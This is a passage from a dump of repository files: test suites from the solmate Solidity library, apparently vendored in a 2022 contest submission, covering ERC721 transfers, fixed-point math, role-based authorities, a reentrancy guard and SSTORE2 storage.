RevertingERC721Recipient()), id, data);\n    }\n\n    function testFailSafeTransferFromToERC721RecipientWithWrongReturnData(uint256 id) public {\n        token.mint(address(this), id);\n\n        token.safeTransferFrom(address(this), address(new WrongReturnDataERC721Recipient()), id);\n    }\n\n    function testFailSafeTransferFromToERC721RecipientWithWrongReturnDataWithData(uint256 id, bytes calldata data)\n        public\n    {\n        token.mint(address(this), id);\n\n        token.safeTransferFrom(address(this), address(new WrongReturnDataERC721Recipient()), id, data);\n    }\n\n    function testFailSafeMintToNonERC721Recipient(uint256 id) public {\n        token.safeMint(address(new NonERC721Recipient()), id);\n    }\n\n    function testFailSafeMintToNonERC721RecipientWithData(uint256 id, bytes calldata data) public {\n        token.safeMint(address(new NonERC721Recipient()), id, data);\n    }\n\n    function testFailSafeMintToRevertingERC721Recipient(uint256 id) public {\n        token.safeMint(address(new RevertingERC721Recipient()), id);\n    }\n\n    function testFailSafeMintToRevertingERC721RecipientWithData(uint256 id, bytes calldata data) public {\n        token.safeMint(address(new RevertingERC721Recipient()), id, data);\n    }\n\n    function testFailSafeMintToERC721RecipientWithWrongReturnData(uint256 id) public {\n        token.safeMint(address(new WrongReturnDataERC721Recipient()), id);\n    }\n\n    function testFailSafeMintToERC721RecipientWithWrongReturnDataWithData(uint256 id, bytes calldata data) public {\n        token.safeMint(address(new WrongReturnDataERC721Recipient()), id, data);\n    }\n}\n\ncontract ERC721Invariants is DSTestPlus, DSInvariantTest {\n    BalanceSum balanceSum;\n    MockERC721 token;\n\n    function setUp() public {\n        token = new MockERC721(\"Token\", \"TKN\");\n        balanceSum = new BalanceSum(token);\n\n        addTargetContract(address(balanceSum));\n    }\n\n    function invariantBalanceSum() public {\n        assertEq(token.totalSupply(), balanceSum.sum());\n    }\n}\n\ncontract BalanceSum {\n    MockERC721 token;\n    uint256 public sum;\n\n    constructor(MockERC721 _token) {\n        token = _token;\n    }\n\n    function mint(address from, uint256 id) public {\n        token.mint(from, id);\n        sum++;\n    }\n\n    function burn(uint256 id) public {\n        token.burn(id);\n        sum--;\n    }\n\n    function approve(address to, uint256 amount) public {\n        token.approve(to, amount);\n    }\n\n    function transferFrom(\n        address from,\n        address to,\n        uint256 amount\n    ) public {\n        token.transferFrom(from, to, amount);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/test/FixedPointMathLib.t.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity 0.8.10;\n\nimport {DSTestPlus} from \"./utils/DSTestPlus.sol\";\n\nimport {FixedPointMathLib} from \"../utils/FixedPointMathLib.sol\";\n\ncontract FixedPointMathLibTest is DSTestPlus {\n    function testFMul() public {\n        assertEq(FixedPointMathLib.fmul(2.5e27, 0.5e27, FixedPointMathLib.RAY), 1.25e27);\n        assertEq(FixedPointMathLib.fmul(2.5e18, 0.5e18, FixedPointMathLib.WAD), 1.25e18);\n        assertEq(FixedPointMathLib.fmul(2.5e8, 0.5e8, FixedPointMathLib.YAD), 1.25e8);\n    }\n\n    function testFMulEdgeCases() public {\n        assertEq(FixedPointMathLib.fmul(0, 1e18, FixedPointMathLib.WAD), 0);\n        assertEq(FixedPointMathLib.fmul(1e18, 0, FixedPointMathLib.WAD), 0);\n        assertEq(FixedPointMathLib.fmul(0, 0, FixedPointMathLib.WAD), 0);\n        assertEq(FixedPointMathLib.fmul(1e18, 1e18, 0), 0);\n    }\n\n    function testFDiv() public {\n        assertEq(FixedPointMathLib.fdiv(1e27, 2e27, FixedPointMathLib.RAY), 0.5e27);\n        assertEq(FixedPointMathLib.fdiv(1e18, 2e18, FixedPointMathLib.WAD), 0.5e18);\n        assertEq(FixedPointMathLib.fdiv(1e8, 2e8, FixedPointMathLib.YAD), 0.5e8);\n    }\n\n    function testFDivEdgeCases() public {\n        assertEq(FixedPointMathLib.fdiv(1e8, 1e18, 0), 0);\n        assertEq(FixedPointMathLib.fdiv(0, 1e18, FixedPointMathLib.WAD), 0);\n    }\n\n    function testFailFDivZeroY() public pure {\n        FixedPointMathLib.fdiv(1e18, 0, FixedPointMathLib.WAD);\n    }\n\n    function testFailFDivZeroXY() public pure {\n        FixedPointMathLib.fdiv(0, 0, FixedPointMathLib.WAD);\n    }\n\n    function testFailFDivXYB() public pure {\n        FixedPointMathLib.fdiv(0, 0, 0);\n    }\n\n    function testFPow() public {\n        assertEq(FixedPointMathLib.fpow(2e27, 2, FixedPointMathLib.RAY), 4e27);\n        assertEq(FixedPointMathLib.fpow(2e18, 2, FixedPointMathLib.WAD), 4e18);\n        assertEq(FixedPointMathLib.fpow(2e8, 2, FixedPointMathLib.YAD), 4e8);\n    }\n\n    function testSqrt() public {\n        assertEq(FixedPointMathLib.sqrt(0), 0);\n        assertEq(FixedPointMathLib.sqrt(1), 1);\n        assertEq(FixedPointMathLib.sqrt(2704), 52);\n        assertEq(FixedPointMathLib.sqrt(110889), 333);\n        assertEq(FixedPointMathLib.sqrt(32239684), 5678);\n    }\n\n    function testFMul(\n        uint256 x,\n        uint256 y,\n        uint256 baseUnit\n    ) public {\n        // Convert cases where x * y overflows into useful test cases.\n        unchecked {\n            while (x != 0 && (x * y) / x != y) {\n                x /= 2;\n                y /= 2;\n            }\n        }\n\n        assertEq(FixedPointMathLib.fmul(x, y, baseUnit), baseUnit == 0 ? 0 : (x * y) / baseUnit);\n    }\n\n    function testFailFMulOverflow(\n        uint256 x,\n        uint256 y,\n        uint256 baseUnit\n    ) public pure {\n        // Ignore cases where x * y does not overflow.\n        unchecked {\n            if ((x * y) / x == y) revert();\n        }\n\n        FixedPointMathLib.fmul(x, y, baseUnit);\n    }\n\n    function testFDiv(\n        uint256 x,\n        uint256 y,\n        uint256 baseUnit\n    ) public {\n        if (y == 0) y = 1;\n\n        // Ignore cases where x * baseUnit overflows.\n        unchecked {\n            if (x != 0 && (x * baseUnit) / x != baseUnit) return;\n        }\n\n        assertEq(FixedPointMathLib.fdiv(x, y, baseUnit), (x * baseUnit) / y);\n    }\n\n    function testFailFDivOverflow(\n        uint256 x,\n        uint256 y,\n        uint256 baseUnit\n    ) public pure {\n        // Ignore cases where x * baseUnit does not overflow.\n        unchecked {\n            if ((x * baseUnit) / x == baseUnit) revert();\n        }\n\n        FixedPointMathLib.fdiv(x, y, baseUnit);\n    }\n\n    function testFailFDivYZero(uint256 x, uint256 baseUnit) public pure {\n        FixedPointMathLib.fdiv(x, 0, baseUnit);\n    }\n\n    function testSqrt(uint256 x) public {\n        uint256 root = FixedPointMathLib.sqrt(x);\n        uint256 next = root + 1;\n\n        // Ignore cases where next * next overflows.\n        unchecked {\n            if (next * next < next) return;\n        }\n\n        assertTrue(root * root <= x && next * next > x);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/test/MultiRolesAuthority.t.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity 0.8.10;\n\nimport {DSTestPlus} from \"./utils/DSTestPlus.sol\";\nimport {MockAuthority} from \"./utils/mocks/MockAuthority.sol\";\n\nimport {Authority} from \"../auth/Auth.sol\";\n\nimport {MultiRolesAuthority} from \"../auth/authorities/MultiRolesAuthority.sol\";\n\ncontract MultiRolesAuthorityTest is DSTestPlus {\n    MultiRolesAuthority multiRolesAuthority;\n\n    function setUp() public {\n        multiRolesAuthority = new MultiRolesAuthority(address(this), Authority(address(0)));\n    }\n\n    function testSetRoles() public {\n        assertFalse(multiRolesAuthority.doesUserHaveRole(address(0xBEEF), 0));\n\n        multiRolesAuthority.setUserRole(address(0xBEEF), 0, true);\n        assertTrue(multiRolesAuthority.doesUserHaveRole(address(0xBEEF), 0));\n\n        multiRolesAuthority.setUserRole(address(0xBEEF), 0, false);\n        assertFalse(multiRolesAuthority.doesUserHaveRole(address(0xBEEF), 0));\n    }\n\n    function testSetRoleCapabilities() public {\n        assertFalse(multiRolesAuthority.doesRoleHaveCapability(0, 0xBEEFCAFE));\n\n        multiRolesAuthority.setRoleCapability(0, 0xBEEFCAFE, true);\n        assertTrue(multiRolesAuthority.doesRoleHaveCapability(0, 0xBEEFCAFE));\n\n        multiRolesAuthority.setRoleCapability(0, 0xBEEFCAFE, false);\n        assertFalse(multiRolesAuthority.doesRoleHaveCapability(0, 0xBEEFCAFE));\n    }\n\n    function testSetPublicCapabilities() public {\n        assertFalse(multiRolesAuthority.isCapabilityPublic(0xBEEFCAFE));\n\n        multiRolesAuthority.setPublicCapability(0xBEEFCAFE, true);\n        assertTrue(multiRolesAuthority.isCapabilityPublic(0xBEEFCAFE));\n\n        multiRolesAuthority.setPublicCapability(0xBEEFCAFE, false);\n        assertFalse(multiRolesAuthority.isCapabilityPublic(0xBEEFCAFE));\n    }\n\n    function testSetTargetCustomAuthority() public {\n        assertEq(address(multiRolesAuthority.getTargetCustomAuthority(address(0xBEEF))), address(0));\n\n        multiRolesAuthority.setTargetCustomAuthority(address(0xBEEF), Authority(address(0xCAFE)));\n        assertEq(address(multiRolesAuthority.getTargetCustomAuthority(address(0xBEEF))), address(0xCAFE));\n\n        multiRolesAuthority.setTargetCustomAuthority(address(0xBEEF), Authority(address(0)));\n        assertEq(address(multiRolesAuthority.getTargetCustomAuthority(address(0xBEEF))), address(0));\n    }\n\n    function testCanCallWithAuthorizedRole() public {\n        assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setUserRole(address(0xBEEF), 0, true);\n        assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setRoleCapability(0, 0xBEEFCAFE, true);\n        assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setRoleCapability(0, 0xBEEFCAFE, false);\n        assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setRoleCapability(0, 0xBEEFCAFE, true);\n        assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setUserRole(address(0xBEEF), 0, false);\n        assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n    }\n\n    function testCanCallPublicCapability() public {\n        assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setPublicCapability(0xBEEFCAFE, true);\n        assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setPublicCapability(0xBEEFCAFE, false);\n        assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n    }\n\n    function testCanCallWithCustomAuthority() public {\n        assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), new MockAuthority(false));\n        assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), new MockAuthority(true));\n        assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), new MockAuthority(false));\n        assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), Authority(address(0)));\n        assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), new MockAuthority(true));\n        assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n    }\n\n    function testCanCallWithCustomAuthorityOverridesPublicCapability() public {\n        assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setPublicCapability(0xBEEFCAFE, true);\n        assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), new MockAuthority(false));\n        assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), new MockAuthority(true));\n        assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setPublicCapability(0xBEEFCAFE, false);\n        assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), Authority(address(0)));\n        assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setPublicCapability(0xBEEFCAFE, true);\n        assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n    }\n\n    function testCanCallWithCustomAuthorityOverridesUserWithRole() public {\n        assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setUserRole(address(0xBEEF), 0, true);\n        assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setRoleCapability(0, 0xBEEFCAFE, true);\n        assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), new MockAuthority(false));\n        assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), new MockAuthority(true));\n        assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setUserRole(address(0xBEEF), 0, false);\n        assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), Authority(address(0)));\n        assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setUserRole(address(0xBEEF), 0, true);\n        assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setRoleCapability(0, 0xBEEFCAFE, false);\n        assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setUserRole(address(0xBEEF), 0, false);\n        assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n    }\n\n    function testSetRoles(address user, uint8 role) public {\n        assertFalse(multiRolesAuthority.doesUserHaveRole(user, role));\n\n        multiRolesAuthority.setUserRole(user, role, true);\n        assertTrue(multiRolesAuthority.doesUserHaveRole(user, role));\n\n        multiRolesAuthority.setUserRole(user, role, false);\n        assertFalse(multiRolesAuthority.doesUserHaveRole(user, role));\n    }\n\n    function testSetRoleCapabilities(uint8 role, bytes4 functionSig) public {\n        assertFalse(multiRolesAuthority.doesRoleHaveCapability(role, functionSig));\n\n        multiRolesAuthority.setRoleCapability(role, functionSig, true);\n        assertTrue(multiRolesAuthority.doesRoleHaveCapability(role, functionSig));\n\n        multiRolesAuthority.setRoleCapability(role, functionSig, false);\n        assertFalse(multiRolesAuthority.doesRoleHaveCapability(role, functionSig));\n    }\n\n    function testSetPublicCapabilities(bytes4 functionSig) public {\n        assertFalse(multiRolesAuthority.isCapabilityPublic(functionSig));\n\n        multiRolesAuthority.setPublicCapability(functionSig, true);\n        assertTrue(multiRolesAuthority.isCapabilityPublic(functionSig));\n\n        multiRolesAuthority.setPublicCapability(functionSig, false);\n        assertFalse(multiRolesAuthority.isCapabilityPublic(functionSig));\n    }\n\n    function testSetTargetCustomAuthority(address user, Authority customAuthority) public {\n        assertEq(address(multiRolesAuthority.getTargetCustomAuthority(user)), address(0));\n\n        multiRolesAuthority.setTargetCustomAuthority(user, customAuthority);\n        assertEq(address(multiRolesAuthority.getTargetCustomAuthority(user)), address(customAuthority));\n\n        multiRolesAuthority.setTargetCustomAuthority(user, Authority(address(0)));\n        assertEq(address(multiRolesAuthority.getTargetCustomAuthority(user)), address(0));\n    }\n\n    function testCanCallWithAuthorizedRole(\n        address user,\n        uint8 role,\n        address target,\n        bytes4 functionSig\n    ) public {\n        assertFalse(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setUserRole(user, role, true);\n        assertFalse(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setRoleCapability(role, functionSig, true);\n        assertTrue(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setRoleCapability(role, functionSig, false);\n        assertFalse(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setRoleCapability(role, functionSig, true);\n        assertTrue(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setUserRole(user, role, false);\n        assertFalse(multiRolesAuthority.canCall(user, target, functionSig));\n    }\n\n    function testCanCallPublicCapability(\n        address user,\n        address target,\n        bytes4 functionSig\n    ) public {\n        assertFalse(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setPublicCapability(functionSig, true);\n        assertTrue(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setPublicCapability(functionSig, false);\n        assertFalse(multiRolesAuthority.canCall(user, target, functionSig));\n    }\n\n    function testCanCallWithCustomAuthority(\n        address user,\n        address target,\n        bytes4 functionSig\n    ) public {\n        assertFalse(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setTargetCustomAuthority(target, new MockAuthority(false));\n        assertFalse(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setTargetCustomAuthority(target, new MockAuthority(true));\n        assertTrue(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setTargetCustomAuthority(target, new MockAuthority(false));\n        assertFalse(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setTargetCustomAuthority(target, Authority(address(0)));\n        assertFalse(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setTargetCustomAuthority(target, new MockAuthority(true));\n        assertTrue(multiRolesAuthority.canCall(user, target, functionSig));\n    }\n\n    function testCanCallWithCustomAuthorityOverridesPublicCapability(\n        address user,\n        address target,\n        bytes4 functionSig\n    ) public {\n        assertFalse(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setPublicCapability(functionSig, true);\n        assertTrue(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setTargetCustomAuthority(target, new MockAuthority(false));\n        assertFalse(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setTargetCustomAuthority(target, new MockAuthority(true));\n        assertTrue(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setPublicCapability(functionSig, false);\n        assertTrue(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setTargetCustomAuthority(target, Authority(address(0)));\n        assertFalse(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setPublicCapability(functionSig, true);\n        assertTrue(multiRolesAuthority.canCall(user, target, functionSig));\n    }\n\n    function testCanCallWithCustomAuthorityOverridesUserWithRole(\n        address user,\n        uint8 role,\n        address target,\n        bytes4 functionSig\n    ) public {\n        assertFalse(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setUserRole(user, role, true);\n        assertFalse(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setRoleCapability(role, functionSig, true);\n        assertTrue(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setTargetCustomAuthority(target, new MockAuthority(false));\n        assertFalse(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setTargetCustomAuthority(target, new MockAuthority(true));\n        assertTrue(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setUserRole(user, role, false);\n        assertTrue(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setTargetCustomAuthority(target, Authority(address(0)));\n        assertFalse(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setUserRole(user, role, true);\n        assertTrue(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setRoleCapability(role, functionSig, false);\n        assertFalse(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setUserRole(user, role, false);\n        assertFalse(multiRolesAuthority.canCall(user, target, functionSig));\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/test/ReentrancyGuard.t.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity 0.8.10;\n\nimport {DSTestPlus} from \"./utils/DSTestPlus.sol\";\n\nimport {ReentrancyGuard} from \"../utils/ReentrancyGuard.sol\";\n\ncontract RiskyContract is ReentrancyGuard {\n    uint256 public enterTimes;\n\n    function unprotectedCall() public {\n        enterTimes++;\n\n        if (enterTimes > 1) return;\n\n        protectedCall();\n    }\n\n    function protectedCall() public nonReentrant {\n        enterTimes++;\n\n        if (enterTimes > 1) return;\n\n        protectedCall();\n    }\n\n    function overprotectedCall() public nonReentrant {}\n}\n\ncontract ReentrancyGuardTest is DSTestPlus {\n    RiskyContract riskyContract;\n\n    function setUp() public {\n        riskyContract = new RiskyContract();\n    }\n\n    function invariantReentrancyStatusAlways1() public {\n        assertEq(uint256(hevm.load(address(riskyContract), 0)), 1);\n    }\n\n    function testFailUnprotectedCall() public {\n        riskyContract.unprotectedCall();\n\n        assertEq(riskyContract.enterTimes(), 1);\n    }\n\n    function testProtectedCall() public {\n        try riskyContract.protectedCall() {\n            fail(\"Reentrancy Guard Failed To Stop Attacker\");\n        } catch {}\n    }\n\n    function testNoReentrancy() public {\n        riskyContract.overprotectedCall();\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/test/RolesAuthority.t.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity 0.8.10;\n\nimport {DSTestPlus} from \"./utils/DSTestPlus.sol\";\nimport {MockAuthority} from \"./utils/mocks/MockAuthority.sol\";\n\nimport {Authority} from \"../auth/Auth.sol\";\n\nimport {RolesAuthority} from \"../auth/authorities/RolesAuthority.sol\";\n\ncontract RolesAuthorityTest is DSTestPlus {\n    RolesAuthority rolesAuthority;\n\n    function setUp() public {\n        rolesAuthority = new RolesAuthority(address(this), Authority(address(0)));\n    }\n\n    function testSetRoles() public {\n        assertFalse(rolesAuthority.doesUserHaveRole(address(0xBEEF), 0));\n\n        rolesAuthority.setUserRole(address(0xBEEF), 0, true);\n        assertTrue(rolesAuthority.doesUserHaveRole(address(0xBEEF), 0));\n\n        rolesAuthority.setUserRole(address(0xBEEF), 0, false);\n        assertFalse(rolesAuthority.doesUserHaveRole(address(0xBEEF), 0));\n    }\n\n    function testSetRoleCapabilities() public {\n        assertFalse(rolesAuthority.doesRoleHaveCapability(0, address(0xCAFE), 0xBEEFCAFE));\n\n        rolesAuthority.setRoleCapability(0, address(0xCAFE), 0xBEEFCAFE, true);\n        assertTrue(rolesAuthority.doesRoleHaveCapability(0, address(0xCAFE), 0xBEEFCAFE));\n\n        rolesAuthority.setRoleCapability(0, address(0xCAFE), 0xBEEFCAFE, false);\n        assertFalse(rolesAuthority.doesRoleHaveCapability(0, address(0xCAFE), 0xBEEFCAFE));\n    }\n\n    function testSetPublicCapabilities() public {\n        assertFalse(rolesAuthority.isCapabilityPublic(address(0xCAFE), 0xBEEFCAFE));\n\n        rolesAuthority.setPublicCapability(address(0xCAFE), 0xBEEFCAFE, true);\n        assertTrue(rolesAuthority.isCapabilityPublic(address(0xCAFE), 0xBEEFCAFE));\n\n        rolesAuthority.setPublicCapability(address(0xCAFE), 0xBEEFCAFE, false);\n        assertFalse(rolesAuthority.isCapabilityPublic(address(0xCAFE), 0xBEEFCAFE));\n    }\n\n    function testCanCallWithAuthorizedRole() public {\n        assertFalse(rolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        rolesAuthority.setUserRole(address(0xBEEF), 0, true);\n        assertFalse(rolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        rolesAuthority.setRoleCapability(0, address(0xCAFE), 0xBEEFCAFE, true);\n        assertTrue(rolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        rolesAuthority.setRoleCapability(0, address(0xCAFE), 0xBEEFCAFE, false);\n        assertFalse(rolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        rolesAuthority.setRoleCapability(0, address(0xCAFE), 0xBEEFCAFE, true);\n        assertTrue(rolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        rolesAuthority.setUserRole(address(0xBEEF), 0, false);\n        assertFalse(rolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n    }\n\n    function testCanCallPublicCapability() public {\n        assertFalse(rolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        rolesAuthority.setPublicCapability(address(0xCAFE), 0xBEEFCAFE, true);\n        assertTrue(rolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        rolesAuthority.setPublicCapability(address(0xCAFE), 0xBEEFCAFE, false);\n        assertFalse(rolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n    }\n\n    function testSetRoles(address user, uint8 role) public {\n        assertFalse(rolesAuthority.doesUserHaveRole(user, role));\n\n        rolesAuthority.setUserRole(user, role, true);\n        assertTrue(rolesAuthority.doesUserHaveRole(user, role));\n\n        rolesAuthority.setUserRole(user, role, false);\n        assertFalse(rolesAuthority.doesUserHaveRole(user, role));\n    }\n\n    function testSetRoleCapabilities(\n        uint8 role,\n        address target,\n        bytes4 functionSig\n    ) public {\n        assertFalse(rolesAuthority.doesRoleHaveCapability(role, target, functionSig));\n\n        rolesAuthority.setRoleCapability(role, target, functionSig, true);\n        assertTrue(rolesAuthority.doesRoleHaveCapability(role, target, functionSig));\n\n        rolesAuthority.setRoleCapability(role, target, functionSig, false);\n        assertFalse(rolesAuthority.doesRoleHaveCapability(role, target, functionSig));\n    }\n\n    function testSetPublicCapabilities(address target, bytes4 functionSig) public {\n        assertFalse(rolesAuthority.isCapabilityPublic(target, functionSig));\n\n        rolesAuthority.setPublicCapability(target, functionSig, true);\n        assertTrue(rolesAuthority.isCapabilityPublic(target, functionSig));\n\n        rolesAuthority.setPublicCapability(target, functionSig, false);\n        assertFalse(rolesAuthority.isCapabilityPublic(target, functionSig));\n    }\n\n    function testCanCallWithAuthorizedRole(\n        address user,\n        uint8 role,\n        address target,\n        bytes4 functionSig\n    ) public {\n        assertFalse(rolesAuthority.canCall(user, target, functionSig));\n\n        rolesAuthority.setUserRole(user, role, true);\n        assertFalse(rolesAuthority.canCall(user, target, functionSig));\n\n        rolesAuthority.setRoleCapability(role, target, functionSig, true);\n        assertTrue(rolesAuthority.canCall(user, target, functionSig));\n\n        rolesAuthority.setRoleCapability(role, target, functionSig, false);\n        assertFalse(rolesAuthority.canCall(user, target, functionSig));\n\n        rolesAuthority.setRoleCapability(role, target, functionSig, true);\n        assertTrue(rolesAuthority.canCall(user, target, functionSig));\n\n        rolesAuthority.setUserRole(user, role, false);\n        assertFalse(rolesAuthority.canCall(user, target, functionSig));\n    }\n\n    function testCanCallPublicCapability(\n        address user,\n        address target,\n        bytes4 functionSig\n    ) public {\n        assertFalse(rolesAuthority.canCall(user, target, functionSig));\n\n        rolesAuthority.setPublicCapability(target, functionSig, true);\n        assertTrue(rolesAuthority.canCall(user, target, functionSig));\n\n        rolesAuthority.setPublicCapability(target, functionSig, false);\n        assertFalse(rolesAuthority.canCall(user, target, functionSig));\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/test/SSTORE2.t.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity 0.8.10;\n\nimport {DSTestPlus} from \"./utils/DSTestPlus.sol\";\n\nimport {SSTORE2} from \"../utils/SSTORE2.sol\";\n\ncontract SSTORE2Test is DSTestPlus {\n    function testWriteRead() public {\n        bytes memory testBytes = abi.encode(\"this is a test\");\n\n        address pointer = SSTORE2.write(testBytes);\n\n        assertBytesEq(SSTORE2.read(pointer), testBytes);\n    }\n\n    function testWriteReadFullStartBound() public {\n        assertBytesEq(SSTORE2.read(SSTORE2.write(hex\"11223344\"), 0), hex\"11223344\");\n    }\n\n    function testWriteReadCustomStartBound() public {\n        assertBytesEq(SSTORE2.read(SSTORE2.write(hex\"11223344\"), 1), hex\"223344\");\n    }\n\n    function testWriteReadFullBoundedRead() public {\n        bytes memory testBytes = abi.encode(\"this is a test\");\n\n        assertBytesEq(SSTORE2.read(SSTORE2.write(testBytes), 0, testBytes.length), testBytes);\n    }\n\n    function testWriteReadCustomBounds() public 